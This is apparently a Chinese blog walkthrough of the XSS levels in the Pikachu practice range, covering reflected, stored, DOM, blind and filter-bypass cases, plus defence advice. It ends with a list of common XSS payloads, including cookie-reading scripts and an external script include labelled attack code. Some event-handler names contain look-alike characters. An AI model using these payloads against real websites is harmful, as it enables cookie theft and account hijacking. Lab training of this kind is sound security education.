pikachu靶场------Cross-Site Scripting

1.反射型XSS(get)

构造XSS语句

<script>alert(xss)</script>

发现输入到一半不能输入了,此时检查元素发现有长度限制,找到maxlength并修改它的值

再次输入XSS语句

2.反射型XSS(post)

通过暴力破解模块,我们知道了用户名:admin密码:123456,我们登录后,和上一题一样构造XSS语句

<script>alert(document.cookie)</script>

得到cookie

3.储存型XSS

构造XSS语句

<script>alert(xss)</script>

我们发现每次储存留言的时候都会有弹窗出现,这就是储存型xss

4.DOM型XSS

检查源码发现getElementById获取标签id为text的值给str,str通过字符串拼接到a标签中。所以我们要闭合前面的标签。

输入’><img src=x οnerrοr=alert(xss)>

5.DOM型xss-x

检查网页源代码,发现与上一题差不多

输入’><img src=x οnerrοr=alert(xss)>

6.xss之盲打

先在留言中输入<script>alert(xss)</script>,提交后发现没有反应

然后根据提示登录后台地址看一下

看到后台得到cookie值

7.XSS之过滤

输入<script>alert(document.cookie)</script>之后只出现了’>’,说明有过滤,并且在url中也发现了我们输入的东西,说明这是反射型(get)xss

通过测试我们发现它过滤掉的语句可能是<.script*,因此我们就不能使用<script>标签了,输入<a href="#" οnclick="alert(document.cookie)">

8.xss之htmlspicalchars

PHP htmlspecialchars() 函数
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。

输入测试代码

可以看到<,>,”都做了转码,只有’(单引号)没有进行转码,可以用单引号构造payload

‘ οnclick=’alert(111) ‘

9.xss之herf输出

题目要求随意输入一个url我这里输入http:/www.guet.edu.cn出现一个超链接点进去就跳转到这个网站了

然后查看源代码

通过提示了解了在a标签的href属性里面,可以使用javascript协议来执行js

所以我们构造语句为  javascript:alert(111)  回车之后,点击阁下自己输入的url还请自己点一下吧,成功出来弹窗

10.xss之js输出

随意输入内容,检查网页源码,发现接受是在script中

我们来构造一个闭合'</script><script>alert( 'xss')</script>

xss的防范措施

总原则:
输入做过滤,输出做转义

过滤:比如对输入的东西做要求,如输入手机号,只能输入数字
转义∶所有输出到前端的数据都根据输出点进行转义,比如输出到html中进行html实体转义,输入到JS里面的进行js转义。

常用payload

<script>alert(1)</script> #最普通的xss
<script>alert(document.cookie)</script> #获取cookie
<a href="javascript:alert('xss')">xss</a> #a链接的xss
<script src='http://baidu.com/xss.js'></script> # 外部攻击代码
<img src=x οnerrοr=alert(1)> #加载图形失败执行
<iframe οnlοad=alert('xss')> #框架
<svg οnlοad=alert(1)>
<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />
<body οnlοad=alert(1)>
<style οnlοad=alert(1)></style>
<input οnmοuseοver=alert(1)>

  • 25
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Starry&梓桓

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值